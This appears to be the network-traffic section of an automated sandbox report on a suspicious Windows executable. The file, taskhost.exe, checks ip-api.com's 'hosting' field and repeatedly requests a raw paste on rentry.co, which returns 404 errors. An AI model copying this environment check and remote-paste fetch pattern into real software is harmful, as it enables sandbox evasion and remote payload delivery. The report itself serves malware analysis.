Dec 13, 2024 11:50:15.492988110 CET	443	49943	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:15.493123055 CET	443	49943	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:15.493175030 CET	49943	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:15.493506908 CET	49943	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:17.471966028 CET	49954	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:17.472016096 CET	443	49954	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:17.472100019 CET	49954	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:17.472313881 CET	49954	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:17.472327948 CET	443	49954	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:18.703306913 CET	443	49954	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:18.704793930 CET	49954	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:18.704827070 CET	443	49954	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:19.270010948 CET	443	49954	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:19.270142078 CET	443	49954	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:19.270194054 CET	49954	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:19.270207882 CET	443	49954	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:19.270287037 CET	443	49954	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:19.270332098 CET	49954	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:19.270337105 CET	443	49954	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:19.270493031 CET	443	49954	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:19.270548105 CET	49954	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:19.270812035 CET	49954	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:21.050040007 CET	49965	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:21.050086975 CET	443	49965	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:21.050183058 CET	49965	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:21.050494909 CET	49965	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:21.050504923 CET	443	49965	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:22.264451027 CET	443	49965	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:22.266036034 CET	49965	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:22.266077042 CET	443	49965	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:23.074033022 CET	443	49965	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:23.074081898 CET	443	49965	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:23.074146986 CET	49965	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:23.074187040 CET	443	49965	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:23.074361086 CET	443	49965	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:23.074395895 CET	49965	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:23.074403048 CET	443	49965	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:23.074455976 CET	443	49965	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:23.074500084 CET	49965	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:23.074815989 CET	49965	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:24.684806108 CET	49976	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:24.684864998 CET	443	49976	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:24.684983969 CET	49976	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:24.685247898 CET	49976	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:24.685261965 CET	443	49976	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:25.909727097 CET	443	49976	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:25.957062960 CET	49976	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:25.978838921 CET	49976	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:25.978877068 CET	443	49976	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:26.711767912 CET	443	49976	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:26.711822987 CET	443	49976	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:26.711973906 CET	443	49976	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:26.712006092 CET	443	49976	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:26.712033033 CET	49976	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:26.712054014 CET	443	49976	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:26.712095022 CET	49976	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:26.712114096 CET	443	49976	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:26.715708017 CET	49976	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:26.716751099 CET	49976	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:28.159333944 CET	49982	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:28.159444094 CET	443	49982	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:28.159727097 CET	49982	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:28.160027981 CET	49982	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:28.160059929 CET	443	49982	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:29.518069983 CET	443	49982	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:29.564532042 CET	49982	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:29.564856052 CET	49982	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:29.564870119 CET	443	49982	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:30.307090044 CET	443	49982	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:30.307167053 CET	443	49982	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:30.307203054 CET	443	49982	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:30.307229042 CET	443	49982	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:30.307251930 CET	49982	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:30.307329893 CET	443	49982	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:30.307368040 CET	443	49982	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:30.307388067 CET	49982	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:30.307418108 CET	49982	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:30.311434984 CET	49982	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:31.612425089 CET	49992	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:31.612495899 CET	443	49992	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:31.612646103 CET	49992	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:31.612910032 CET	49992	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:31.612924099 CET	443	49992	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:32.823206902 CET	443	49992	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:32.824558973 CET	49992	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:32.824585915 CET	443	49992	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:33.392554998 CET	443	49992	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:33.392605066 CET	443	49992	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:33.392679930 CET	49992	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:33.392734051 CET	443	49992	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:33.392767906 CET	443	49992	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:33.392817020 CET	49992	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:33.392823935 CET	443	49992	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:33.392848015 CET	443	49992	104.26.2.16	192.168.2.7
Dec 13, 2024 11:50:33.392891884 CET	49992	443	192.168.2.7	104.26.2.16
Dec 13, 2024 11:50:34.552671909 CET	49992	443	192.168.2.7	104.26.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 11:48:28.755964994 CET	55809	53	192.168.2.7	1.1.1.1
Dec 13, 2024 11:48:28.896393061 CET	53	55809	1.1.1.1	192.168.2.7
Dec 13, 2024 11:48:59.502892971 CET	54297	53	192.168.2.7	1.1.1.1
Dec 13, 2024 11:48:59.718101978 CET	53	54297	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 13, 2024 11:48:28.755964994 CET	192.168.2.7	1.1.1.1	0xe416	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 11:48:59.502892971 CET	192.168.2.7	1.1.1.1	0xd2	Standard query (0)	rentry.co	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 13, 2024 11:48:28.896393061 CET	1.1.1.1	192.168.2.7	0xe416	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Dec 13, 2024 11:48:59.718101978 CET	1.1.1.1	192.168.2.7	0xd2	No error (0)	rentry.co	104.26.2.16	A (IP address)	IN (0x0001)	false
Dec 13, 2024 11:48:59.718101978 CET	1.1.1.1	192.168.2.7	0xd2	No error (0)	rentry.co	172.67.75.40	A (IP address)	IN (0x0001)	false
Dec 13, 2024 11:48:59.718101978 CET	1.1.1.1	192.168.2.7	0xd2	No error (0)	rentry.co	104.26.3.16	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rentry.co

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	208.95.112.1	80	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 11:48:29.031506062 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Dec 13, 2024 11:48:30.126492023 CET	175	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 10:48:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49762	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:49:01 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:49:02 UTC	874	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:49:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yJCzXQ3zkby6SjutzzLQIApXZWRP%2FCa6jcqFt0V5MnWYnRIo5UxaE7UMm%2BaqWe%2Ft1j7p20ZbQ8bwdUze3xLibvlTPoxcwq%2BeYrEqUfNWCHX0f5gSV%2BwxE4C9NA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1562988ccec356-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1680&min_rtt=1678&rtt_var=634&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1717647&cwnd=153&unsent_bytes=0&cid=23b471d515436138&ts=1094&x=0"
2024-12-13 10:49:02 UTC	495	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:49:02 UTC	1369	IN	Data Raw: 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: <meta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://
2024-12-13 10:49:02 UTC	1369	IN	Data Raw: 29 2e 6d 61 74 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 Data Ascii: ).matches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttrib
2024-12-13 10:49:02 UTC	1227	IN	Data Raw: 74 20 6d 6f 64 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 Data Ascii: t mode"></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:49:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49773	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:49:06 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:49:07 UTC	869	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:49:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nqh2ifxraV2eHphC0rz5C0RqucWc9os%2BdLQOeG2y8rdHr9520zOcF1Cduo4SU4LgkZ7CCuF%2BMP6obT5hh5IKslKipym7ZERLDu5%2Fpa2T3HlHkqaSzU520Khhmg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1562b7ffda1a44-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1881&min_rtt=1881&rtt_var=706&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1549071&cwnd=128&unsent_bytes=0&cid=adc4055d90e59e5e&ts=797&x=0"
2024-12-13 10:49:07 UTC	500	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:49:07 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 Data Ascii: <meta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://rentr
2024-12-13 10:49:07 UTC	1369	IN	Data Raw: 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 Data Ascii: ches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribute('
2024-12-13 10:49:07 UTC	1222	IN	Data Raw: 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 Data Ascii: e"></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:49:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49788	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:49:11 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:49:12 UTC	867	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:49:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vo7ztOkbDbrDmzeIPyI2muJ7avP4mI6zI5SZHkc1eA%2BLUAUNVnNwYDRchMJpt6P4ZwT3xqzEsUrJnMnu8fU9KSjsesMwrJzoJCNfUQ3DZuBgWN3vExUqou%2Bxkg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1562d768326a52-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1633&min_rtt=1632&rtt_var=614&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1780487&cwnd=210&unsent_bytes=0&cid=acb32cf043ec59ec&ts=811&x=0"
2024-12-13 10:49:12 UTC	502	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:49:12 UTC	1369	IN	Data Raw: 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e Data Ascii: eta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://rentry.
